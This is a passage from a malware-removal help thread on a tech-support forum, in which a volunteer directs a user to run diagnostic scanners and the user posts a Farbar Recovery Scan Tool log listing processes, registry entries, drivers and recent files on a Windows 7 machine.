  Description: Windows is unable to verify the image integrity of the file \Device\HarddiskVolume2\ComboFix\catchme.sys because file hash could not be found on the system. A recent hardware or software change might have installed a file that is signed incorrectly or damaged, or that might be malicious software from an unknown source.
 
  Date: 2014-07-09 09:41:56.176
  Description: Windows is unable to verify the image integrity of the file \Device\HarddiskVolume2\ComboFix\catchme.sys because file hash could not be found on the system. A recent hardware or software change might have installed a file that is signed incorrectly or damaged, or that might be malicious software from an unknown source.
 
  Date: 2014-07-09 09:41:56.138
  Description: Windows is unable to verify the image integrity of the file \Device\HarddiskVolume2\ComboFix\catchme.sys because file hash could not be found on the system. A recent hardware or software change might have installed a file that is signed incorrectly or damaged, or that might be malicious software from an unknown source.
 
  Date: 2014-02-03 23:30:41.428
  Description: Windows is unable to verify the image integrity of the file \Device\HarddiskVolume2\ComboFix\catchme.sys because file hash could not be found on the system. A recent hardware or software change might have installed a file that is signed incorrectly or damaged, or that might be malicious software from an unknown source.
 
  Date: 2014-02-03 23:30:41.397
  Description: Windows is unable to verify the image integrity of the file \Device\HarddiskVolume2\ComboFix\catchme.sys because file hash could not be found on the system. A recent hardware or software change might have installed a file that is signed incorrectly or damaged, or that might be malicious software from an unknown source.
 
 
==================== Memory info =========================== 
 
Percentage of memory in use: 34%
Total physical RAM: 16127.3 MB
Available physical RAM: 10488.04 MB
Total Pagefile: 32252.79 MB
Available Pagefile: 26240.77 MB
Total Virtual: 8192 MB
Available Virtual: 8191.82 MB
 
==================== Drives ================================
 
Drive c: () (Fixed) (Total:1862.92 GB) (Free:1676.49 GB) NTFS
Drive e: (OldDrive) (Fixed) (Total:228.33 GB) (Free:100.87 GB) NTFS
 
==================== MBR & Partition Table ==================
 
========================================================
Disk: 0 (Size: 233 GB) (Disk ID: 4B36BDEA)
Partition 1: (Not Active) - (Size=5 GB) - (Type=42)
Partition 2: (Active) - (Size=228 GB) - (Type=42)
Partition 3: (Not Active) - (Size=1528 KB) - (Type=42)
 
========================================================
Disk: 1 (MBR Code: Windows 7 or 8) (Size: 1863 GB) (Disk ID: FBF990AA)
Partition 1: (Active) - (Size=100 MB) - (Type=07 NTFS)
Partition 2: (Not Active) - (Size=-198731366400) - (Type=07 NTFS)
 
==================== End Of Log ============================


#3 KydaSteve

KydaSteve
  • Topic Starter

  • Members
  • 10 posts
  • OFFLINE
  •  
  • Local time:09:51 PM

Posted 14 July 2014 - 08:22 AM

Bumping for visibility? 



#4 B-boy/StyLe/

B-boy/StyLe/

    Bleepin' Freestyler


  • Malware Response Team
  • 8,307 posts
  • OFFLINE
  •  
  • Gender:Male
  • Location:Bulgaria
  • Local time:04:51 AM

Posted 14 July 2014 - 03:39 PM

Hello! Welcome to BleepingComputer Forums! :welcome:
My name is Georgi and and I will be helping you with your computer problems.

Before we begin, please note the following:

  • I will working be on your Malware issues, this may or may not, solve other issues you have with your machine.
  • The logs can take some time to research, so please be patient with me.
  • Stay with the topic until I tell you that your system is clean. Missing symptoms does not mean that everything is okay.
  • Instructions that I give are for your system only!
  • Please do not run any tools until requested ! The reason for this is so I know what is going on with the machine at any time. Some programs can interfere with others and hamper the recovery process.
  • Please perform all steps in the order received. If you can't understand something don't hesitate to ask.
  • Again I would like to remind you to make no further changes to your computer unless I direct you to do so. I will not help you if you do not follow my instructions.

 

 

STEP 1

 

 

Please download the latest version of Farbar Recovery Scan Tool and save it to your desktop.

Note: You need to run the version compatibale with your system. If you are not sure which version applies to your system download both of them and try to run them. Only one of them will run on your system, that will be the right version.

  • Double-click to run it. When the tool opens click Yes to disclaimer.
  • Press Scan button.
  • It will make a log (FRST.txt) in the same directory the tool is run. Please copy and paste it to your reply.
  • The first time the tool is run, it makes also another log (Addition.txt). Please attach it to your reply.

 

STEP 2

 

 

Next please download miniregtool.gif MiniRegTool64.zip and save it to your desktop.

Unzip it and run MiniRegTool64.exe

Copy and paste the content of the code box in the edit box:
 

HKEY_CLASSES_ROOT\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}

 

Check the Export keys radio button and click Go.
Please post the log it makes to your reply.

 

 

Regards,

Georgi


cXfZ4wS.png


#5 KydaSteve

KydaSteve
  • Topic Starter

  • Members
  • 10 posts
  • OFFLINE
  •  
  • Local time:09:51 PM

Posted 15 July 2014 - 12:29 PM

Hello Here are the requested logs:

 

FRST

Scan result of Farbar Recovery Scan Tool (FRST.txt) (x64) Version: 15-07-2014
Ran by Dennis (administrator) on DENNIS-PC on 15-07-2014 13:12:08
Running from C:\Users\Dennis\Downloads
Platform: Windows 7 Ultimate Service Pack 1 (X64) OS Language: English (United States)
Internet Explorer Version 9
Boot Mode: Normal
 
The only official download link for FRST:
Download link from any site other than Bleeping Computer is unpermitted or outdated.
 
==================== Processes (Whitelisted) =================
 
(Apple Inc.) C:\Program Files (x86)\Common Files\Apple\Mobile Device Support\AppleMobileDeviceService.exe
(Bitdefender) C:\Program Files\Bitdefender\Endpoint\endpointintegration.exe
(Microsoft Corporation) C:\Windows\System32\PrintIsolationHost.exe
(Bitdefender) C:\Program Files\Bitdefender\Endpoint\endpointservice.exe
(Bitdefender) C:\Program Files\Common Files\Bitdefender\Endpoint Agent\epag.exe
(Microsoft Corporation) C:\Windows\SysWOW64\svchost.exe
(LogMeIn, Inc.) C:\Program Files (x86)\LogMeIn\x64\LMIGuardianSvc.exe
(LogMeIn, Inc.) C:\Program Files (x86)\LogMeIn\x64\ramaint.exe
(Microsoft Corporation) C:\Program Files\Common Files\Microsoft Shared\Windows Live\WLIDSVC.EXE
(LogMeIn, Inc.) C:\Program Files (x86)\LogMeIn\x64\LogMeIn.exe
(Microsoft Corporation) C:\Program Files\Common Files\Microsoft Shared\Windows Live\WLIDSVCM.EXE
(Microsoft Corporation) C:\Windows\System32\UI0Detect.exe
(LogMeIn, Inc.) C:\Program Files (x86)\LogMeIn\x64\LogMeIn.exe
(Bitdefender) C:\Program Files\Bitdefender\Endpoint\console.exe
(Microsoft Corporation) C:\Program Files\Microsoft Mouse and Keyboard Center\ipoint.exe
(Microsoft Corporation) C:\Program Files\Microsoft Mouse and Keyboard Center\itype.exe
(LogMeIn, Inc.) C:\Program Files (x86)\LogMeIn\x64\LogMeInSystray.exe
(Microsoft Corporation) C:\Windows\SysWOW64\dllhost.exe
(Microsoft Corporation) C:\Windows\System32\taskmgr.exe
(Microsoft Corporation) C:\Windows\SysWOW64\dllhost.exe
(Microsoft Corporation) C:\Windows\SysWOW64\dllhost.exe
(Microsoft Corporation) C:\Windows\SysWOW64\dllhost.exe
(Microsoft Corporation) C:\Windows\SysWOW64\dllhost.exe
(Microsoft Corporation) C:\Windows\SysWOW64\dllhost.exe
(Microsoft Corporation) C:\Windows\SysWOW64\dllhost.exe
(Microsoft Corporation) C:\Windows\SysWOW64\dllhost.exe
(Microsoft Corporation) C:\Windows\SysWOW64\dllhost.exe
(Microsoft Corporation) C:\Windows\SysWOW64\dllhost.exe
(Google Inc.) C:\Program Files (x86)\Google\Chrome\Application\chrome.exe
(Google Inc.) C:\Program Files (x86)\Google\Chrome\Application\chrome.exe
(Google Inc.) C:\Program Files (x86)\Google\Chrome\Application\chrome.exe
(Microsoft Corporation) C:\Windows\SysWOW64\dllhost.exe
(Microsoft Corporation) C:\Windows\SysWOW64\dllhost.exe
(Microsoft Corporation) C:\Windows\SysWOW64\dllhost.exe
(Google Inc.) C:\Program Files (x86)\Google\Chrome\Application\chrome.exe
(Microsoft Corporation) C:\Windows\SysWOW64\dllhost.exe
(Microsoft Corporation) C:\Windows\SysWOW64\dllhost.exe
(Microsoft Corporation) C:\Windows\SysWOW64\dllhost.exe
() C:\Users\Dennis\Downloads\MiniRegTool64\MiniRegTool64\MiniRegTool64.exe
(Microsoft Corporation) C:\Windows\SysWOW64\dllhost.exe
(Microsoft Corporation) C:\Windows\SysWOW64\dllhost.exe
(Microsoft Corporation) C:\Windows\SysWOW64\dllhost.exe
(Microsoft Corporation) C:\Windows\SysWOW64\dllhost.exe
(Microsoft Corporation) C:\Windows\SysWOW64\dllhost.exe
(Microsoft Corporation) C:\Windows\SysWOW64\dllhost.exe
(Microsoft Corporation) C:\Windows\SysWOW64\dllhost.exe
(Microsoft Corporation) C:\Windows\SysWOW64\dllhost.exe
(Microsoft Corporation) C:\Windows\SysWOW64\dllhost.exe
(Microsoft Corporation) C:\Windows\SysWOW64\dllhost.exe
(Microsoft Corporation) C:\Windows\SysWOW64\dllhost.exe
(Microsoft Corporation) C:\Windows\SysWOW64\dllhost.exe
(Microsoft Corporation) C:\Windows\SysWOW64\dllhost.exe
(Microsoft Corporation) C:\Windows\SysWOW64\dllhost.exe
 
 
==================== Registry (Whitelisted) ==================
 
HKLM\...\Run: [LogMeIn GUI] => C:\Program Files (x86)\LogMeIn\x64\LogMeInSystray.exe [57928 2012-11-29] (LogMeIn, Inc.)
HKLM-x32\...\Run: [APSDaemon] => C:\Program Files (x86)\Common Files\Apple\Apple Application Support\APSDaemon.exe [59720 2013-09-13] (Apple Inc.)
HKLM-x32\...\Run: [DNS7reminder] => C:\Program Files (x86)\Nuance\NaturallySpeaking12\Ereg\Ereg.exe [328992 2010-10-27] (Nuance Communications, Inc.)
HKLM-x32\...\Run: [] => [X]
HKLM-x32\...\Run: [iTunesHelper] => C:\Program Files (x86)\iTunes\iTunesHelper.exe [152392 2013-11-02] (Apple Inc.)
HKLM-x32\...\Run: [Adobe ARM] => C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\AdobeARM.exe [959904 2014-05-08] (Adobe Systems Incorporated)
AppInit_DLLs-x32: C:\ProgramData\e.dll => C:\ProgramData\e.dll [53248 2014-07-10] ()
IFEO\ehshell.exe: [Debugger] "C:\Program Files (x86)\LogMeIn\x64\LogMeInSystray.exe" -MceShellRedirect
ShellIconOverlayIdentifiers: DropboxExt1 -> {FB314ED9-A251-47B7-93E1-CDD82E34AF8B} =>  No File
ShellIconOverlayIdentifiers: DropboxExt2 -> {FB314EDA-A251-47B7-93E1-CDD82E34AF8B} =>  No File
ShellIconOverlayIdentifiers: DropboxExt3 -> {FB314EDB-A251-47B7-93E1-CDD82E34AF8B} =>  No File
ShellIconOverlayIdentifiers: DropboxExt4 -> {FB314EDC-A251-47B7-93E1-CDD82E34AF8B} =>  No File
ShellIconOverlayIdentifiers-x32: DropboxExt1 -> {FB314ED9-A251-47B7-93E1-CDD82E34AF8B} =>  No File
ShellIconOverlayIdentifiers-x32: DropboxExt2 -> {FB314EDA-A251-47B7-93E1-CDD82E34AF8B} =>  No File
ShellIconOverlayIdentifiers-x32: DropboxExt3 -> {FB314EDB-A251-47B7-93E1-CDD82E34AF8B} =>  No File
ShellIconOverlayIdentifiers-x32: DropboxExt4 -> {FB314EDC-A251-47B7-93E1-CDD82E34AF8B} =>  No File
 
==================== Internet (Whitelisted) ====================
 
HKCU\Software\Microsoft\Internet Explorer\Main,Search Page = http://www.microsoft.com/isapi/redir.dll?prd=ie&ar=iesearch
HKCU\Software\Microsoft\Internet Explorer\Main,Start Page Redirect Cache AcceptLangs = en-US
HKCU\Software\Microsoft\Internet Explorer\Main,Start Page Redirect Cache_TIMESTAMP = 0xEAD2667AF132CE01
HKLM\Software\Microsoft\Internet Explorer\Main,Start Page = about:blank
HKLM\Software\Wow6432Node\Microsoft\Internet Explorer\Main,Start Page = about:blank
StartMenuInternet: IEXPLORE.EXE - C:\Program Files (x86)\Internet Explorer\iexplore.exe
SearchScopes: HKLM-x32 - DefaultScope value is missing.
BHO: Windows Live ID Sign-in Helper -> {9030D464-4C02-4ABF-8ECC-5164760863C6} -> C:\Program Files\Common Files\Microsoft Shared\Windows Live\WindowsLiveLogin.dll (Microsoft Corporation)
BHO-x32: HP Print Enhancer -> {0347C33E-8762-4905-BF09-768834316C61} -> C:\Program Files (x86)\HP\Digital Imaging\Smart Web Printing\hpswp_printenhancer.dll (Hewlett-Packard Co.)
BHO-x32: Groove GFS Browser Helper -> {72853161-30C5-4D22-B7F9-0BBC1D38A37E} -> C:\Program Files (x86)\Microsoft Office\Office12\GrooveShellExtensions.dll (Microsoft Corporation)
BHO-x32: Dragon NaturallySpeaking Rich Internet Application Support - Extension -> {73A89C60-CF59-4EC7-9215-9B7EF05ECEA4} -> C:\Program Files (x86)\Nuance\NaturallySpeaking12\Program\ieShim.dll (Nuance Communications, Inc.)
BHO-x32: Windows Live ID Sign-in Helper -> {9030D464-4C02-4ABF-8ECC-5164760863C6} -> C:\Program Files (x86)\Common Files\Microsoft Shared\Windows Live\WindowsLiveLogin.dll (Microsoft Corporation)
BHO-x32: HP Smart BHO Class -> {FFFFFFFF-CF4E-4F2B-BDC2-0E72E116A856} -> C:\Program Files (x86)\HP\Digital Imaging\Smart Web Printing\hpswp_BHO.dll (Hewlett-Packard Co.)
Tcpip\Parameters: [DhcpNameServer] 75.75.76.76 75.75.75.75
Tcpip\..\Interfaces\{7698C383-1641-4B3E-BA75-A3F41C3E5A41}: [NameServer]8.8.8.8,8.8.8.8
Tcpip\..\Interfaces\{8D4ABF0B-2683-48BE-B0BA-D6577E62FDAB}: [NameServer]8.8.8.8,8.8.8.8
 
FireFox:
========
FF Plugin: @microsoft.com/GENUINE - disabled No File
FF Plugin: @Microsoft.com/NpCtrl,version=1.0 - c:\Program Files\Microsoft Silverlight\5.1.20513.0\npctrl.dll ( Microsoft Corporation)
FF Plugin-x32: @Apple.com/iTunes,version=1.0 - C:\Program Files (x86)\iTunes\Mozilla Plugins\npitunes.dll ()
FF Plugin-x32: @microsoft.com/GENUINE - disabled No File
FF Plugin-x32: @Microsoft.com/NpCtrl,version=1.0 - c:\Program Files (x86)\Microsoft Silverlight\5.1.20513.0\npctrl.dll ( Microsoft Corporation)
FF Plugin-x32: @tools.google.com/Google Update;version=3 - C:\Program Files (x86)\Google\Update\1.3.24.15\npGoogleUpdate3.dll (Google Inc.)
FF Plugin-x32: @tools.google.com/Google Update;version=9 - C:\Program Files (x86)\Google\Update\1.3.24.15\npGoogleUpdate3.dll (Google Inc.)
FF Plugin-x32: Adobe Reader - C:\Program Files (x86)\Adobe\Reader 11.0\Reader\AIR\nppdf32.dll (Adobe Systems Inc.)
FF Plugin-x32: nuance.com/DragonRIAPlugin - C:\PROGRA~2\Nuance\NATURA~1\Program\npDgnRia.dll (Nuance Communications Inc.)
FF HKLM-x32\...\Firefox\Extensions: [jid0-lmZNVK7a82O8cufhdfB9dUDfA2w@jetpack] - C:\Program Files (x86)\Nuance\NaturallySpeaking12\Program\ffShim.xpi
FF Extension: Dragon NaturallySpeaking Rich Internet Application Support - C:\Program Files (x86)\Nuance\NaturallySpeaking12\Program\ffShim.xpi [2013-10-15]
FF HKLM-x32\...\Firefox\Extensions: [smartwebprinting@hp.com] - C:\Program Files (x86)\HP\Digital Imaging\Smart Web Printing\MozillaAddOn3
FF Extension: HP Smart Web Printing - C:\Program Files (x86)\HP\Digital Imaging\Smart Web Printing\MozillaAddOn3 [2013-04-27]
FF HKCU\...\Firefox\Extensions: [smartwebprinting@hp.com] - C:\Program Files (x86)\HP\Digital Imaging\Smart Web Printing\MozillaAddOn3
 
Chrome: 
=======
CHR HomePage: 
CHR Extension: (Floorplanner) - C:\Users\Dennis\AppData\Local\Google\Chrome\User Data\Default\Extensions\abopacaefhbognnmeigicfpgnmpideag [2014-02-22]
CHR Extension: (Google Docs) - C:\Users\Dennis\AppData\Local\Google\Chrome\User Data\Default\Extensions\aohghmighlieiainnegkcijnfilokake [2013-06-13]
CHR Extension: (Google Drive) - C:\Users\Dennis\AppData\Local\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf [2014-02-03]
CHR Extension: (Google Voice Search Hotword (Beta)) - C:\Users\Dennis\AppData\Local\Google\Chrome\User Data\Default\Extensions\bepbmhgboaologfdajaanbcjmnhjmhfn [2014-05-24]
CHR Extension: (YouTube) - C:\Users\Dennis\AppData\Local\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo [2014-02-03]
CHR Extension: (Google Search) - C:\Users\Dennis\AppData\Local\Google\Chrome\User Data\Default\Extensions\coobgpohoikkiipiblmjeljniedjpjpf [2014-02-03]
CHR Extension: (Dragon NaturallySpeaking Rich Internet Application Support) - C:\Users\Dennis\AppData\Local\Google\Chrome\User Data\Default\Extensions\mikhcaiakabeeokmenglcdebplfdjicn [2013-06-13]
CHR Extension: (Google Wallet) - C:\Users\Dennis\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda [2013-08-22]
CHR Extension: (Gmail) - C:\Users\Dennis\AppData\Local\Google\Chrome\User Data\Default\Extensions\pjkljhegncpnkpknbcohdijeoejaedia [2014-02-03]
CHR HKLM-x32\...\Chrome\Extension: [mikhcaiakabeeokmenglcdebplfdjicn] - C:\Program Files (x86)\Nuance\NaturallySpeaking12\Program\chromeShim.crx [2013-10-15]
 
==================== Services (Whitelisted) =================
 
R2 EndpointIntegration; C:\Program Files\Bitdefender\Endpoint\EndpointIntegration.exe [197136 2014-02-05] (Bitdefender)
R2 EndpointService; C:\Program Files\Bitdefender\Endpoint\EndpointService.exe [197136 2014-02-05] (Bitdefender)
R2 epag; C:\Program Files\Common Files\Bitdefender\Endpoint Agent\epag.exe [2162816 2014-02-05] (Bitdefender)
R2 LMIGuardianSvc; C:\Program Files (x86)\LogMeIn\x64\LMIGuardianSvc.exe [376144 2014-06-06] (LogMeIn, Inc.)
R2 LMIMaint; C:\Program Files (x86)\LogMeIn\x64\RaMaint.exe [226640 2014-06-06] (LogMeIn, Inc.)
R2 LogMeIn; C:\Program Files (x86)\LogMeIn\x64\LogMeIn.exe [407424 2012-11-29] (LogMeIn, Inc.)
R2 Net Driver HPZ12; C:\Windows\system32\HPZinw12.dll [50688 2012-02-08] (Hewlett-Packard) [File not signed]
R2 Pml Driver HPZ12; C:\Windows\system32\HPZipm12.dll [66048 2012-02-08] (Hewlett-Packard) [File not signed]
 
==================== Drivers (Whitelisted) ====================
 
R0 avc3; C:\Windows\System32\DRIVERS\avc3.sys [893440 2014-02-05] (BitDefender)
R3 avchv; C:\Windows\System32\DRIVERS\avchv.sys [261056 2012-11-02] (BitDefender)
S3 avckf; C:\Windows\System32\DRIVERS\avckf.sys [635392 2014-02-05] (BitDefender)
R1 Bdfndisf; c:\program files\bitdefender\endpoint\bdfndisf6.sys [93600 2014-02-05] (BitDefender LLC)
R1 Bdfwfpf; C:\Program Files\Bitdefender\Endpoint\bdfwfpf.sys [103504 2011-11-14] (BitDefender LLC)
R1 dtsoftbus01; C:\Windows\System32\DRIVERS\dtsoftbus01.sys [283200 2013-04-12] (DT Soft Ltd)
R0 gzflt; C:\Windows\System32\DRIVERS\gzflt.sys [150256 2013-11-18] (BitDefender LLC)
R2 LMIInfo; C:\Program Files (x86)\LogMeIn\x64\RaInfo.sys [16056 2013-05-26] (LogMeIn, Inc.)
S4 LMIRfsClientNP; No ImagePath
S3 RTL8187; C:\Windows\System32\DRIVERS\wg111v2.sys [340992 2007-12-26] (NETGEAR Inc.)
S3 Serial; C:\Windows\system32\DRIVERS\serial.sys [94208 2009-07-13] (Brother Industries Ltd.)
R0 sptd; C:\Windows\System32\Drivers\sptd.sys [564824 2013-04-12] (Duplex Secure Ltd.)
S3 SWDUMon; C:\Windows\System32\DRIVERS\SWDUMon.sys [15712 2013-04-22] ()
U3 TrueSight; C:\Windows\SysWOW64\drivers\TrueSight.sys [29696 2014-07-08] ()
R2 trufos; C:\Windows\System32\DRIVERS\trufos.sys [389240 2013-11-18] (BitDefender S.R.L.)
U3 armxl0l0; C:\Windows\System32\Drivers\armxl0l0.sys [0 ] (Microsoft Corporation)
S3 catchme; \??\C:\ComboFix\catchme.sys [X]
S3 esgiguard; \??\C:\Program Files\Enigma Software Group\SpyHunter\esgiguard.sys [X]
S3 Synth3dVsc; System32\drivers\synth3dvsc.sys [X]
S3 tsusbhub; system32\drivers\tsusbhub.sys [X]
S3 VGPU; System32\drivers\rdvgkmd.sys [X]
 
==================== NetSvcs (Whitelisted) ===================
 
 
==================== One Month Created Files and Folders ========
 
2014-07-15 13:07 - 2014-07-15 13:07 - 00000000 ____D () C:\Users\Dennis\Downloads\FRST-OlderVersion
2014-07-15 13:03 - 2014-07-15 13:03 - 01317813 _____ () C:\Users\Dennis\Downloads\MiniRegTool64.zip
2014-07-15 13:03 - 2014-07-15 13:03 - 00000000 ____D () C:\Users\Dennis\Downloads\MiniRegTool64
2014-07-12 07:37 - 2014-07-12 07:37 - 00261702 _____ () C:\Users\Dennis\Downloads\Pridemore estimate.tif
2014-07-12 07:37 - 2014-07-12 07:37 - 00084918 _____ () C:\Users\Dennis\Downloads\Pridemore since  1999.tif
2014-07-10 14:00 - 2014-07-10 14:00 - 00010762 _____ () C:\Users\Dennis\Documents\Attach.txt
2014-07-10 13:58 - 2014-07-10 13:58 - 00010762 _____ () C:\Users\Dennis\Desktop\attach.txt
2014-07-10 13:58 - 2014-07-10 13:57 - 00012329 _____ () C:\Users\Dennis\Desktop\dds.txt
2014-07-10 13:55 - 2014-07-10 13:55 - 00688992 ____R (Swearware) C:\Users\Dennis\Downloads\dds.com
2014-07-10 06:15 - 2014-07-10 06:15 - 00014812 _____ () C:\Users\Dennis\Downloads\be9eaa782ffbcaa56e043eeff69c5394 (3).ugd
2014-07-10 06:14 - 2014-07-10 06:14 - 00014812 _____ () C:\Users\Dennis\Downloads\be9eaa782ffbcaa56e043eeff69c5394.ugd
2014-07-10 06:14 - 2014-07-10 06:14 - 00014812 _____ () C:\Users\Dennis\Downloads\be9eaa782ffbcaa56e043eeff69c5394 (2).ugd
2014-07-10 06:14 - 2014-07-10 06:14 - 00014812 _____ () C:\Users\Dennis\Downloads\be9eaa782ffbcaa56e043eeff69c5394 (1).ugd
2014-07-10 00:57 - 2014-07-10 00:57 - 00053248 _____ () C:\ProgramData\e.dll
2014-07-09 21:36 - 2014-07-10 14:22 - 00040796 _____ () C:\Users\Dennis\Downloads\Addition.txt
2014-07-09 21:33 - 2014-07-15 13:15 - 00014215 _____ () C:\Users\Dennis\Downloads\FRST.txt
2014-07-09 21:32 - 2014-07-15 13:12 - 00000000 ____D () C:\FRST
2014-07-09 21:32 - 2014-07-15 13:07 - 02086912 _____ (Farbar) C:\Users\Dennis\Downloads\FRST64.exe
2014-07-09 21:28 - 2014-07-09 21:28 - 00019814 _____ () C:\ComboFix.txt
2014-07-09 21:05 - 2014-07-09 21:05 - 00001475 _____ () C:\Users\Dennis\Desktop\ComboFix - Shortcut.lnk
2014-07-09 21:05 - 2014-07-08 13:15 - 05216105 ____R (Swearware) C:\Users\Dennis\Desktop\ComboFix.exe
2014-07-09 20:50 - 2014-07-09 20:50 - 01285120 _____ () C:\Users\Dennis\Downloads\zoek.exe
2014-07-09 20:50 - 2014-07-09 20:50 - 00000002 _____ () C:\runcheck.txt
2014-07-09 20:50 - 2014-07-09 20:50 - 00000000 ____D () C:\zoek_backup
2014-07-09 20:30 - 2014-07-09 21:19 - 00001318 _____ () C:\Windows\PFRO.log
2014-07-09 07:58 - 2014-07-09 07:58 - 06226040 _____ (TeamViewer GmbH) C:\Users\Dennis\Downloads\TeamViewer_Setup_en (2).exe
2014-07-09 07:57 - 2014-07-09 07:57 - 00001178 _____ () C:\ProgramData\Microsoft\Windows\Start Menu\Programs\TeamViewer 9.lnk
2014-07-09 07:57 - 2014-07-09 07:57 - 00001166 _____ () C:\Users\Public\Desktop\TeamViewer 9.lnk
2014-07-09 07:57 - 2014-07-09 07:57 - 00001166 _____ () C:\ProgramData\Desktop\TeamViewer 9.lnk
2014-07-09 07:56 - 2014-07-09 07:56 - 06226040 _____ (TeamViewer GmbH) C:\Users\Dennis\Downloads\TeamViewer_Setup_en.exe
2014-07-09 07:56 - 2014-07-09 07:56 - 06226040 _____ (TeamViewer GmbH) C:\Users\Dennis\Downloads\TeamViewer_Setup_en (1).exe
2014-07-08 13:15 - 2014-07-08 13:15 - 05216105 ____R (Swearware) C:\Users\Dennis\Downloads\ComboFix.exe
2014-07-08 12:52 - 2014-07-08 12:52 - 04764760 _____ () C:\Users\Dennis\Downloads\RogueKiller.exe
2014-07-08 12:52 - 2014-07-08 12:52 - 00029696 _____ () C:\Windows\SysWOW64\Drivers\TrueSight.sys
2014-07-08 12:52 - 2014-07-08 12:52 - 00000000 ____D () C:\ProgramData\RogueKiller
2014-07-08 12:46 - 2014-07-08 12:46 - 00000000 ____D () C:\Users\Dennis\Downloads\ProcessExplorer
2014-07-08 12:45 - 2014-07-08 12:45 - 01243655 _____ () C:\Users\Dennis\Downloads\ProcessExplorer.zip
2014-07-08 12:09 - 2014-07-08 12:09 - 00000000 ____D () C:\NPE
2014-07-08 12:05 - 2014-07-08 12:05 - 03077584 ____N (Symantec Corporation) C:\Users\Dennis\Downloads\NPE.exe
2014-07-08 11:17 - 2014-07-15 05:38 - 00001176 _____ () C:\Windows\setupact.log
2014-07-08 11:17 - 2014-07-08 11:17 - 00000000 _____ () C:\Windows\setuperr.log
2014-07-08 11:11 - 2014-07-08 11:11 - 00000000 ____D () C:\TDSSKiller_Quarantine
2014-07-08 10:53 - 2014-07-08 10:53 - 04181856 _____ (Kaspersky Lab ZAO) C:\Users\Dennis\Downloads\tdsskiller.exe
2014-07-08 10:37 - 2014-07-08 10:37 - 00107742 _____ () C:\Users\Dennis\Desktop\cc_20140708_103450.reg
2014-07-08 10:02 - 2014-07-08 10:02 - 00002774 _____ () C:\Windows\System32\Tasks\CCleanerSkipUAC
2014-07-08 10:01 - 2014-07-08 12:34 - 00000000 ____D () C:\Program Files\CCleaner
2014-07-08 09:59 - 2014-07-08 09:59 - 04812672 _____ (Piriform Ltd) C:\Users\Dennis\Downloads\ccsetup415 (1).exe
2014-07-08 09:57 - 2014-07-08 09:57 - 04812672 _____ (Piriform Ltd) C:\Users\Dennis\Downloads\ccsetup415.exe
2014-07-08 09:16 - 2014-07-08 09:16 - 11185664 _____ (SurfRight B.V.) C:\Users\Dennis\Downloads\HitmanPro_x64.exe
2014-07-08 09:13 - 2014-07-08 09:13 - 06226040 _____ (TeamViewer GmbH) C:\Users\Dennis\Downloads\TeamViewer_Setup_en-ckj (5).exe
2014-07-08 06:49 - 2014-07-08 06:49 - 06226040 _____ (TeamViewer GmbH) C:\Users\Dennis\Downloads\TeamViewer_Setup_en-ckj (4).exe
2014-07-08 06:47 - 2014-07-08 06:47 - 06226040 _____ (TeamViewer GmbH) C:\Users\Dennis\Downloads\TeamViewer_Setup_en-ckj (3).exe
2014-07-08 06:47 - 2014-07-08 06:47 - 06226040 _____ (TeamViewer GmbH) C:\Users\Dennis\Downloads\TeamViewer_Setup_en-ckj (2).exe
2014-07-08 06:47 - 2014-07-08 06:47 - 06226040 _____ (TeamViewer GmbH) C:\Users\Dennis\Downloads\TeamViewer_Setup_en-ckj (1).exe
2014-07-07 20:14 - 2010-08-30 08:34 - 00536576 _____ (SQLite Development Team) C:\Windows\SysWOW64\sqlite3.dll
2014-07-07 20:09 - 2014-07-07 20:09 - 01346519 _____ () C:\Users\Dennis\Downloads\AdwCleaner.exe
2014-07-07 16:41 - 2014-07-07 16:41 - 17292760 _____ (Malwarebytes Corporation ) C:\Users\Dennis\Downloads\mbam-setup-2.0.2.1012.exe
2014-07-07 16:39 - 2014-07-07 16:39 - 00000000 ____D () C:\Users\Dennis\AppData\Local\Adobe
2014-07-07 16:35 - 2014-07-07 16:35 - 00002441 _____ () C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Adobe Reader XI.lnk
2014-07-07 16:35 - 2014-07-07 16:35 - 00002019 _____ () C:\Users\Public\Desktop\Adobe Reader XI.lnk
2014-07-07 16:35 - 2014-07-07 16:35 - 00002019 _____ () C:\ProgramData\Desktop\Adobe Reader XI.lnk
2014-07-07 16:28 - 2014-07-07 16:28 - 06226040 _____ (TeamViewer GmbH) C:\Users\Dennis\Downloads\TeamViewer_Setup_en-ckj.exe
2014-07-07 09:58 - 2014-07-09 21:49 - 00002990 _____ () C:\Windows\System32\Tasks\{8DC07200-A4A2-4054-8688-D500FC4CE4A8}
2014-07-07 09:56 - 2014-07-09 21:49 - 00002990 _____ () C:\Windows\System32\Tasks\{ABD907FF-80B7-4405-97AC-528C8D8A12B3}
2014-07-07 09:56 - 2014-07-09 21:49 - 00002990 _____ () C:\Windows\System32\Tasks\{9B61C97F-DABD-4F89-BB38-086A55D98E10}
2014-07-07 09:56 - 2014-07-09 21:49 - 00002990 _____ () C:\Windows\System32\Tasks\{75D03F6A-3B76-4EDC-9651-C33318F588F0}
2014-07-03 08:08 - 2014-07-03 08:08 - 00000761 _____ () C:\Windows\system32\Drivers\etc\hosts.txt
2014-07-02 05:23 - 2014-07-02 05:23 - 17765797 _____ () C:\Users\Dennis\Downloads\41562.wmv
2014-06-19 04:31 - 2014-06-19 04:31 - 04028598 _____ () C:\Users\Dennis\Downloads\Life_in_Detroit.mp4
 
==================== One Month Modified Files and Folders =======
 
2014-07-15 13:17 - 2013-06-05 16:59 - 00000072 _____ () C:\Users\Public\LMDebug.log
2014-07-15 13:15 - 2014-07-09 21:33 - 00014215 _____ () C:\Users\Dennis\Downloads\FRST.txt
2014-07-15 13:15 - 2013-04-05 19:16 - 01452831 _____ () C:\Windows\WindowsUpdate.log
2014-07-15 13:12 - 2014-07-09 21:32 - 00000000 ____D () C:\FRST
2014-07-15 13:07 - 2014-07-15 13:07 - 00000000 ____D () C:\Users\Dennis\Downloads\FRST-OlderVersion
2014-07-15 13:07 - 2014-07-09 21:32 - 02086912 _____ (Farbar) C:\Users\Dennis\Downloads\FRST64.exe
2014-07-15 13:03 - 2014-07-15 13:03 - 01317813 _____ () C:\Users\Dennis\Downloads\MiniRegTool64.zip
